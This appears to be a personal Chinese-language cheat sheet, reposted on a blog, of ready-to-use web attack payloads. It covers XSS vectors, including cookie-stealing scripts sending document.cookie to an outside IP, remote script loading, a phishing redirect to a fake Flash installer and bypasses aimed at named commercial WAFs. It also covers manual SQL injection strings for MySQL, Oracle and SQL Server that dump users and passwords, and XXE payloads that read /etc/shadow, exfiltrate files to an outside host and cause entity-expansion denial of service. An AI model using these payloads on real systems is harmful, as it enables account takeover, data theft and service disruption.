个人自用

xss

弹窗

<script>alert(1)</script>
<script>prompt(2)</script>
<script>confirm(3)</script>
<script>console.log(3)</script>
<script>document.write(1)</script>

当不能弹窗的时候

<script>console.log(3)</script>
<script>document.write(1)</script>

引入外部js，可能需要短域名

<script src=//xsshs.cn></script>
<img src one rror=appendChild(createElement("script")).src="//xsshs.cn/aaaa">
<img src one rror=jQuery.getScript("//xsshs.cn/aaaa")>

盗取cookie

<script>window.location.href="http://2.2.2.2/?msg="+escape(document.cookie)</script>
<script>document.body.appendChild(document.createElement("img")).src="http://2.2.2.2/?msg="+escape(document.cookie)</script>

结合弹窗和url跳转进行钓鱼

<script>alert("您的flash版本过低，请更新您的flash版本"); window.location.href ="https://www.flash.cn/cdm/latest/flashplayer_install_cn.exe"</script>

当xss的触发位置在标签外

name=<script>alert(1)</script>

标签内

name="><script>alert(1)</script>
name=1" id=javascript:alert(1) autofocus onfocus=location=this.id xx="

在href=中

name=javascript:alert(1)

在js中

name=</script><script>alert(1)</script>
name=';alert(1)//
name='-alert(1)-'
name=';};alert(1);function a(){a='

在xml中

<?xml version="1.0"?><a xmlns:a='http://www.w3.org/1999/xhtml'><a:body onl oad='alert(/XSS/)'></a>
<?xml version="1.0"?><html:html xmlns:html='http://www.w3.org/1999/xhtml'><html:script>alert(1);</html:script></html:html>

svg

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="100px" height="100px" viewBox="0 0 751 751" enable-background="new 0 0 751 751" xml:space="preserve">  <image id="image0" width="751" height="751" x="0" y="0"
    href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAu8AAALvCAIAAABa4bwGAAAAIGNIUk0AAHomAACAhAAA+gAAAIDo" />
<script>alert(1)</script>
</svg>

当过滤了圆括号

<script>alert`1`</script>
<video src one rror=a="%2",location="javascript:aler"+"t"+a+"81"+a+"9">
<video src one rror="javascript:window.onerror=alert;throw 1">

当过滤了空格

假设payload如下：

html><imgAAsrcAAonerrorBB=BBalertCC(1)DD

A位置可填充/，/123/，%09，%0A，%0C，%0D，%20

B位置可填充%09，%0A，%0C，%0D，%20

C位置可填充%0B，如果加双引号，则可以填充/**/，%09，%0A ，%0C，%0D，%20

D位置可填充%09，%0A，%0C，%0D，%20，//，>

函数配合拼接

<video/src/onerror=top.alert(1);>
<video/src/onerror=top[`al`+`ert`](1);>
<video/src/onerror=self[`al`+`ert`](1);>
<video/src/onerror=parent[`al`+`ert`](1);>
<video/src/onerror=window[`al`+`ert`](1);>
<video/src/onerror=frames[`al`+`ert`](1);>
<video/src/onerror=content[`al`+`ert`](1);>
<body/onload=eval(alert(1));>
<body/onload=eval(`al`+`ert(1)`);>
<body/onload=open(alert(1));>
<body/onload=document.write(alert(1));>
<body/onload=setTimeout(alert(1));>
<body/onload=setInterval(alert(1));>
<body/onload=Set.constructor(alert(1))()>
<body/onload=Map.constructor(alert(1))()>
<body/onload=Array.constructor(alert(1))()>
<body/onload=WeakSet.constructor(alert(1))()>
<body/onload=constructor.constructor(alert(1))>
<video/src/onerror=[1].map(alert);>
<video/src/onerror=[1].map(eval('al'+'ert'));>
<video/src/onerror=[1].find(alert);>
<video/src/onerror=[1].every(alert);>
<video/src/onerror=[1].filter(alert);>
<video/src/onerror=[1].forEach(alert);>
<video/src/onerror=[1].findIndex(alert);>

赋值和拼接

<img src one rror=_=alert,_(1)>
<img src alt=al lang=ert one rror=top[alt+lang](1)>
<img src one rror=top[a='al',b='ev',b+a]('alert(1)')>
<img src one rror=['ale'+'rt'].map(top['ev'+'al'])[0]['valu'+'eOf']()(1)>

创建匿名函数

<video/src/onerror=Function('ale'+'rt(1)')();>

伪协议

<svg/onload=javascript:alert(1)>
<iframe src=javascript:alert(1)>
<form action=javascript:alert(1)><input type=submit>
<a href=javascript:alert(123);>xss</a>
<iframe src=data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=>
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=></object>
<embed src=data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==">

安全狗

http://www.safedog.cn/index/privateSolutionIndex.html?tab=2<video/src/onerror=top[`al`%2B`ert`](1);>
http://www.safedog.cn/index/privateSolutionIndex.html?tab=2<video/src/onerror=appendChild(createElement("script")).src="//z.cn">

D盾

http://www.d99net.net/News.asp?id=126<video/src/onloadstart=top[`al`%2B`ert`](1);>
http://www.d99net.net/News.asp?id=126<video/src/onloadstart=top[a='al',b='ev',b%2ba](appendChild(createElement(`script`)).src=`//z.cn`);>

云锁+奇安信waf

http://www.yunsuo.com.cn/ht/dynamic/20190903/259.html?id=1<video/src/onloadstart=top[`al`%2B`ert`](1);>
http://www.yunsuo.com.cn/ht/dynamic/20190903/259.html?id=1<video/src/onloadstart=top[a='al',b='ev',b%2ba](appendChild(createElement(`script`)).src=`//z.cn`);>

一些新奇的xss playload

<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<BODY BACKGROUND="javascript:alert('XSS')">
<input onfocus=alert(1) autofocus>
<h1 onm ousemove="alert(1)">title</h1>
<select onfocus=alert(1) autofocus>
<iframe src="vbscript:msgbox(1)"></iframe> 
<iframe src="javascript:alert(1)"></iframe>
<iframe src="vbscript:msgbox(1)"></iframe>
<iframe onl oad=alert(1)></iframe>
<iframe src="data:text/html,<script>alert(0)</script>"></iframe> 
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe> 
</iframe><iframe src="vbscript:msgbox(1)"></iframe>
</iframe><iframe src="data:text/html,<script>alert(0)</script>"></iframe>
<details open ontoggle=prompt(/xss/)>
<plaintext/onmouseover=prompt(1)>
javascript://comment％250aalert(1) 
<img src=x one rror=confirm(1)>
<video><source one rror=alert(1)>
<audio src=x one rror="alert(1)">
<body onl oad=alert(1)>
<body onscroll=alert(1);><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
<textarea onfocus=alert(1) autofocus>

虽说目前互联网上已经有很多关于 sql 注入的神器了，但是在这个 WAF 横行的时代，手工注入往往在一些真实环境中会显得尤为重要。本文主要把以前学过的知识做个总结，不会有详细的知识解读，类似于查询手册的形式，便于以后的复习与查阅，文中内容可能会存在错误，望师傅们斧正！

sql注入

0x01 Mysql 手工注入

1.1 联合注入

?id=1' order by 4
?id=0' union select 1,2,3,database()
?id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+
?id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="users" 


?id=0' union select 1,2,3,group_concat(password) from users --+
#group_concat 可替换为 concat_ws(',',id,users,password )

?id=0' union select 1,2,3,password from users limit 0,1

1.2 报错注入

1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));

每个一个报错语句都有它的原理：

exp() 报错的原理：exp 是一个数学函数，取e的x次方，当我们输入的值大于709就会报错，然后 ~ 取反它的值总会大于709，所以报错。

updatexml() 报错的原理：由于 updatexml 的第二个参数需要 Xpath 格式的字符串，以 ~ 开头的内容不是 xml 格式的语法，concat() 函数为字符串连接函数显然不符合规则，但是会将括号内的执行结果以错误的形式报出，这样就可以实现报错注入了。

爆库：?id=1' and updatexml(1,(select concat(0x7e,(schema_name),0x7e) from information_schema.schemata limit 2,1),1) 
爆表：?id=1' and updatexml(1,(select concat(0x7e,(table_name),0x7e) from information_schema.tables where table_schema='security' limit 3,1),1) -- +
爆字段：?id=1' and updatexml(1,(select concat(0x7e,(column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1),1) 
爆数据：?id=1' and updatexml(1,(select concat(0x7e,password,0x7e) from users limit 1,1),1) -- +

#concat 也可以放在外面 updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1)

这里需要注意的是它加了连接字符，导致数据中的 md5 只能爆出 31 位，这里可以用分割函数分割出来：

substr(string string,num start,num length);


?id=1' and updatexml(1,concat(0x7e, substr((select password from users limit 1,1),1,16),0x7e),1)

1.3 盲注

1.3.1 时间盲注

时间盲注也叫延时注入一般用到函数 sleep() BENCHMARK() 还可以使用笛卡尔积(尽量不要使用,内容太多会很慢很慢)

一般时间盲注我们还需要使用条件判断函数

#if（expre1，expre2，expre3）
当 expre1 为 true 时，返回 expre2，false 时，返回 expre3

#盲注的同时也配合着 mysql 提供的分割函
substr、substring、left

我们一般喜欢把分割的函数编码一下，当然不编码也行，编码的好处就是可以不用引号，常用到的就有 ascii() hex() 等等

?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+
?id=1' and if((substr((select user()),1,1)='r'),sleep(5),1)--+

1.3.2 布尔盲注

?id=1' and substr((select user()),1,1)='r' 
?id=1' and IFNULL((substr((select user()),1,1)='r'),0) -- +
#如果 IFNULL 第一个参数的表达式为 NULL，则返回第二个参数的备用值，不为 Null 则输出值

?id=1' and strcmp((substr((select user()),1,1)='r'),1)

1.4 insert,delete,update

insert,delete,update 主要是用到盲注和报错注入，此类注入点不建议使用 sqlmap 等工具，会造成大量垃圾数据，一般这种注入会出现在注册、ip头、留言板等等需要写入数据的地方,同时这种注入不报错一般较难发现，我们可以尝试性插入、引号、双引号、转义符 / 让语句不能正常执行，然后如果插入失败，更新失败，然后深入测试确定是否存在注入

1.4.1 报错

mysql> insert into admin (id,username,password) values (2,"or updatexml(1,concat(0x7e,(version())),0) or","admin");
Query OK, 1 row affected (0.00 sec)

mysql> select * from admin;
+------+-----------------------------------------------+----------+
| id   | username                                      | password |
+------+-----------------------------------------------+----------+
|    1 | admin                                         | admin    |
|    1 | and 1=1                                       | admin    |
|    2 | or updatexml(1,concat(0x7e,(version())),0) or | admin    |
+------+-----------------------------------------------+----------+
3 rows in set (0.00 sec)

mysql> insert into admin (id,username,password) values (2,""or updatexml(1,concat(0x7e,(version())),0) or"","admin");
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'


mysql> delete from admin where id =-2 or updatexml(1,concat(0x7e,(version())),0);
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'

1.4.2 盲注

mysql> insert into admin values (2+if((substr((select user()),1,1)='r'),sleep(5),1),'1',"admin");
Query OK, 1 row affected (5.00 sec)

mysql> insert into admin values (2+if((substr((select user()),1,1)='p'),sleep(5),1),'1',"admin");
Query OK, 1 row affected (0.00 sec)


mysql> insert into admin values (2,''+if((substr((select user()),1,1)='p'),sleep(5),1)+'',"admin");
Query OK, 1 row affected (0.00 sec)

mysql> insert into admin values (2,''+if((substr((select user()),1,1)='r'),sleep(5),1)+'',"admin");
Query OK, 1 row affected (5.01 sec)


mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r4'),sleep(5),0);
Query OK, 0 rows affected (0.00 sec)

mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r'),sleep(5),0);
Query OK, 0 rows affected (5.00 sec)


mysql> select * from admin;
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    2 | 1        | admin    |
|    2 | 1        | admin    |
|    2 | 1        | admin    |
|    2 | admin    | admin    |
+------+----------+----------+
4 rows in set (0.00 sec)

mysql> update admin set id="5"+sleep(5)+"" where id=2;
Query OK, 4 rows affected (20.00 sec)
Rows matched: 4  Changed: 4  Warnings: 0

1.5 二次注入与宽字节注入

二次注入的语句：在没有被单引号包裹的sql语句下，我们可以用16进制编码他，这样就不会带有单引号等。

mysql> insert into admin (id,name,pass) values ('3',0x61646d696e272d2d2b,'11');
Query OK, 1 row affected (0.00 sec)

mysql> select * from admin;
+----+-----------+-------+
| id | name      | pass  |
+----+-----------+-------+
|  1 | admin     | admin |
|  2 | admin'111 | 11111 |
|  3 | admin'--+ | 11    |
+----+-----------+-------+
4 rows in set (0.00 sec)

二次注入在没有源码的情况比较难发现，通常见于注册，登录恶意账户后，数据库可能会因为恶意账户名的问题，将 admin’–+ 误认为 admin 账户

宽字节注入：针对目标做了一定的防护，单引号转变为 /' , mysql 会将 / 编码为 %5c ，宽字节中两个字节代表一个汉字，所以把 %df 加上 %5c 就变成了一个汉字“運”，使用这种方法成功绕过转义，就是所谓的宽字节注入

id=-1%df' union select...

#没使用宽字节
%27 -> %5C%27

#使用宽字节
%df%27 -> %df%5c%27 -> 運'

0x02 Oracle 手工注入

2.1 联合注入

?id=-1' union select user,null from dual--
?id=-1' union select version,null from v$instance--
?id=-1' union select table_name,null from (select * from (select rownum as limit,table_name from user_tables) where limit=3)--
?id=-1' union select column_name,null from (select * from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=2)--
?id=-1' union select username,passwd from users--
?id=-1' union select username,passwd from (select * from (select username,passwd,rownum as limit from users) where limit=3)--

2.2 报错注入

?id=1' and 1=ctxsys.drithsx.sn(1,(select user from dual))
?id=1' and 1=ctxsys.drithsx.sn(1,(select banner from v$version where banner like 'Oracle%))
?id=1' and 1=ctxsys.drithsx.sn(1,(select table_name from (select rownum as limit,table_name from user_tables) where limit= 3))--
?id=1' and 1=ctxsys.drithsx.sn(1,(select column_name from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=3))
?id=1' and 1=ctxsys.drithsx.sn(1,(select passwd from (select passwd,rownum as limit from users) where limit=1))--

2.3 盲注

2.3.1 布尔盲注

既然是盲注，那么肯定涉及到条件判断语句，Oracle除了使用IF the else end if这种复杂的，还可以使用 decode() 函数。
语法：decode(条件,值1,返回值1,值2,返回值2,…值n,返回值n,缺省值);

该函数的含义如下：

IF 条件=值1 THEN
　　　　RETURN(返回值1)
ELSIF 条件=值2 THEN
　　　　RETURN(返回值2)
　　　　......
ELSIF 条件=值n THEN
　　　　RETURN(返回值n)
ELSE
　　　　RETURN(缺省值)
END IF

?id=1' and 1=(select decode(user,'SYSTEM',1,0,0) from dual)
?id=1' and 1=(select decode(substr(user,1,1),'S',1,0,0) from dual)--
?id=1' and ascii(substr(user,1,1))> 64

2.3.2 时间盲注

可使用DBMS_PIPE.RECEIVE_MESSAGE(‘任意值’,延迟时间)函数进行时间盲注，这个函数可以指定延迟的时间

?id=1' and 1=(case when ascii(substr(user,1,1))> 128 then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else 1 end)--
?id=1' and 1=(case when ascii(substr(user,1,1))> 64 then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else 1 end)--

0x03 SQL server 手工注入

3.1 联合注入

?id=-1' union select null,null--
?id=-1' union select @@servername, @@version--
?id=-1' union select db_name(),suser_sname()--
?id=-1' union select (select top 1 name from sys.databases where name not in (select top 6 name from sys.databases)),null--
?id=-1' union select (select top 1 name from sys.databases where name not in (select top 7 name from sys.databasesl),null--
?id--1' union select (select top 1 table_ name from information_schema.tables where table_name not in (select top 0 table_name from information_schema.tables)),null--
?id=-1' union select (select top 1 column name from information_schema.columns where table_name='users' and column_name not in (select top 1 column_name from information_schema.columns where table_name = 'users')),null---
?id=-1' union select (select top 1 username from users where username not in (select top 3 username from users)),null--

3.2 报错注入

?id=1' and 1=(select 1/@@servername)--
?id=1' and 1=(select 1/(select top 1 name from sys.databases where name not in (select top 1 name from sys.databases))--

3.3 盲注

3.3.1 布尔盲注

?id=1' and ascii(substring((select db_ name(1)),1,1))> 64--

3.3.2 时间盲注

?id= 1';if(2>1) waitfor delay '0:0:5'--
?id= 1';if(ASCII(SUBSTRING((select db_name(1)),1,1))> 64) waitfor delay

xxe

基础Payload：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE resetPassword [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">
<!ENTITY % expr 'aaa)>
<!ENTITY &#x25; file SYSTEM "file:///flag">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///abcxyz/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
<!ELEMENT aa (bb'>
    %local_dtd;
]>
<request>
    <status>&data;</status>
</request>

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
 <userInfo>
  <firstName>John</firstName>
  <lastName>&example;</lastName>
 </userInfo>

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/shadow"> ]>
<userInfo>
 <firstName>John</firstName>
 <lastName>&ent;</lastName>
</userInfo>

<!--?xml version="1.0" ?-->
<!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
<tag>&lol9;</tag>

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ 
<!ENTITY % pe SYSTEM "http://tester.example.com/xxe_file">
%pe;
%param1;
]>
<foo>&external;</foo>




The contents of xxe_file should be:
<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY external SYSTEM 'http://tester.example.com/log_xxe?data=%payload;'>">

原创文章，作者：kepupublish，如若转载，请注明出处：https://blog.ytso.com/276642.html

xss

弹窗